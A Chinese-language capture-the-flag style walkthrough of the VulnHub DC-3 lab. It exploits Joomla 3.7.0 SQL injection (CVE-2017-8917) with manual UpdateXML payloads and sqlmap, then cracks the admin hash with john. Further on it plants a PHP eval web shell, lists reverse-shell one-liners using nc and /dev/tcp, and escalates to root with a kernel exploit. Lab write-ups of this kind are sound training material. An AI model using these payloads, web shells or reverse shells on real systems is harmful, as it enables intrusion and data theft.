vulnhub-DC系列3

1.写在前面

这是DC系列的第3个,也是vulnhub靶场练习的第4篇文章。

“人在保持远视的时候,有选择总是好的”

Tips:DC3还是有很多值得学习和总结的,本次只有一个flag,全程没有提醒哦!

2.知识点速记

  • exploitdb 漏洞速查
  • mysql注入及sqlmap使用
  • john密码破解
  • Linux提权
    • linux内核提权 - searchexploit
    • linux提权自检工具 - linux-exploit-suggester-master

3.环境配置

直接去vulnhub官网下载 Vulnhub-DC3对应的ova文件即可,然后拖入vmware。这里为了方便宿主机与靶机通讯,将虚拟机的网络模式设置为了NAT模式

Win10 宿主机、kali2020 攻击机、vulnhub靶机

4.信息收集

环境配置好后,首先确认一下IP,在kali上查看当前IP为 192.168.114.128

4.1 常规探测

对当前网段的主机进行扫描

定位靶机IP:192.168.114.133

吸取DC2中的教训,这次针对存活IP进行详细的全端口扫描和指纹识别:

尴尬的是,只有80端口开放了,搜索了下 joomla是开源的内容管理CMS。

访问下看看:

按照以往的经验,这时候就得扫一波目录和文件了:

用我们的老工具gobuster 和 dirb

并没有什么惊喜,倒是发现了默认的管理后台


4.2 CMS探测

渗透思路:

按照以往思路,发现CMS可以用对应的自动化测试工具进行扫描

比如之前的wordpress,就有wpscan工具,来识别版本、插件漏洞、目录等

这里看了下,joomla的CMS确实存在自动化工具:joomscan (其实是看别人的wp)

那就来扫一下:

img

这里发现CMS的版本:3.7.0,同时,也扫到了默认的后台管理地址

这里真实情况是,当时用的msf的search模块,来识别的版本:


知识点1:exploit漏洞速查:

  • exploit joomla 3.7.0 ## 搜索版本exp
  • exploit -p 42033 ## 查看exp描述
  • /usr/share/exploitdb/exploits/ ## path基础路径

拿到准确版本,我们就去搜一下有没有什么漏洞可利用:

哦豁,这不是来了个SQL注入吗!来看看这个exp咋个整:


5.漏洞利用

5.1 SQL注入利用

知识点2:mysql注入及sqlmap使用

joomla 3.7 SQL Injection(CVE-2017-8917)漏洞复现

这里建议根据上面这个文章,手工注入实现一遍。熟悉手注流程:

查数据库:information_schema.SCHEMATA

查表:information_schema.tables

查列:information_schema.COLUMNS

1
2
3
4
5
6
7
8
## 报错注入测试
updatexml(1,concat(0x3a,user()0x3a),0)
## 获取表名
UpdateXML(2, concat(0x3a,(SELECT(concat(TABLE_SCHEMA,0x3a,TABLE_NAME))FROM(information_schema.tables) LIMIT 0,1),0x3a),1)
## 获取列名
UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME))FROM(information_schema.COLUMNS) WHERE TABLE_NAME LIKE 0x6c6d6278635f636f6e74656e7474 LIMIT 0,1),0x3a),1)
## 获取内容
UpdateXML(2,%20concat(0x3a,(SELECT(concat(title))FROM(lmbxc_content)%20LIMIT%200,1),0x3a),1)

简单测试下漏洞确实存在:

这里由于limit偏移的缘故,所以借助了burp的intruder模块进行自动化爆破:

同时还学习了如何在intruder结果里筛选字段及信息:

经过筛选后,可以看到不同的数据库表,但这里显示不全,详见上面的文章。

这里仅复盘学习下手注的过程,我们还是直接上sqlmap一把梭:

1
$ sqlmap -u 'http://192.168.114.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML' -p list[fullordering] --level=3 --risk=3 --tables

扫到joomladb,然后我们直接看users表的列:

1
$ sqlmap -u 'http://192.168.114.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML' -p list[fullordering] --level=3 --risk=3 -D joomladb -T '#__users' --columns

然后就是查看内容了:

1
$ sqlmap -u 'http://192.168.114.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML' -p list[fullordering] --level=3 --risk=3 -D joomladb -T '#__users' --columns -C "username,password" --dump

这里得到的password并非明文,但应该也是某种HASH算法

admin / $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu


5.2 hash密码爆破

知识点3: john密码爆破

这里按照之前DC1-Drupal的处理思路,其实有以下几种解决方案:

  1. 重置密码:包括前端邮件确认、mysql后台覆盖
  2. 服务器自带加解密脚本发现

但这里都不具备条件,邮件就不说了,后台覆盖需要更新数据,而sqlmap执行更新语句存在权限问题

这里查看了别人的wp后发现用了john这个工具:

需要先把hash写入文件,john第一次碰撞后,后续再检测同样文件不会再次碰撞

直接--show就可以查看密码:admin/snoopy

PS:这里如果真的走投无路,也可以直接爆破后台试试了


5.3 后台getshell

这里后台getshell,不同的CMS虽然各异,但基本原理还是相同的

总体上有三个思路:

  1. 主题模板的上传or修
  2. 媒体文件上传
  3. 模块化插件上传

这里简单写个一句话,待会连接蚁剑,方便文件管理:

1
2
3
4
5
## 一句话木马
<?php
echo md5(1234);
@eval($_REQUEST[test])
?>

坑点: shell文件路径

这里针对所有的CMS都是一样的,上传的shell需要定位路径

http://192.168.114.133/template/beez3/html/test.php

OK,连个蚁剑上去,没问题。

注意:提权需要tcp通道,而蚁剑是基于HTTP的瞬时协议,需要换个本地shell环境

反弹shell常用命令:

1
2
3
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.114.128 1234>/tmp/f
nc -e /bin/bash 192.168.114.128 1234
/bin/bash -i >& /dev/tcp/192.168.114.128/1234 0>&1

当然,搞个msf上传reverse_shell也没问题,这里就不演示了


7.提权

知识点4:Linux内核漏洞提权

除了之前的suid和sudo linux提权方式还有很多

可参考这篇:linux 提权方法总结

看了些文章,想到用内核提权。但由于c编译等问题,一直未果

7.1 主机信息获取

内核漏洞提权的前提是掌握主机的发行版本、内核版本等信息

1
2
3
uname -a
cat /etc/*-release
cat /etc/issue

  • 内核版本:4.4.0-21-generic
  • 发行版本:Ubuntu 16.04
  • 架构:i686 (i386的子集) arm架构 -32位

7.2 内核漏洞检索

这里首先列一下exploitdb的内核漏洞搜索相关命令:

1
2
3
4
5
6
## 检索命令
searchexploit ubuntu 16.04 4.4
## 查看exp的使用说明
searchexploit -p 46529.c
## 查看具体文件
cat /usr/share/exploitdb/exploits/xxxxx

这里看下具体如何使用,需要下载对应的文件:

其实最开始并不知道要使用39772这个漏洞,但后面总结了一些规律:

  • 发行版本、内核版本一致
  • i686架构是arm的32位,不能选amd的x86相关exp
  • 尽量选择不需要编译的(容易出错

通过蚁剑上传这几个提权文件

运行下compile.sh,会自动编译doubleput.c、hello.c、suidhelper.c

然后运行下编译好的doubleput

成功提权,拿到Flag,打完收工


7.3 主机提权自检工具

知识点5:使用提权自检工具自动化扫描

挖个坑:Linux自动化提权

这里马后炮一下,复盘其他wp的时候发现有位老哥蚁剑上传了一个sh,来实现自动化检索漏洞

看起来比较方便,后面搜了一下,可以使用这个工具来辅助检查:linux-exploit-suggester

简单测试下,也做个总结:

上面的脏牛试过,直接把服务器打崩了…..不过这里也列出了double_fdput

当然,linux自动化提权的方式还有很多,先挖个坑,后面补一下!


8.写在结尾

整个DC3还是有很多新内容学习的,比如漏洞点识别、sql注入与sqlmap使用、john爆破、内核提权等。

几个比较好的WP:

VulnHub通关日记-DC_3-Walkthrough

小蜘蛛带你一起学习DC-3

vulnhub之DC3靶机

To Do List:

  1. 学习总结下Linux下的提权方式
  2. Linux自动化提权总结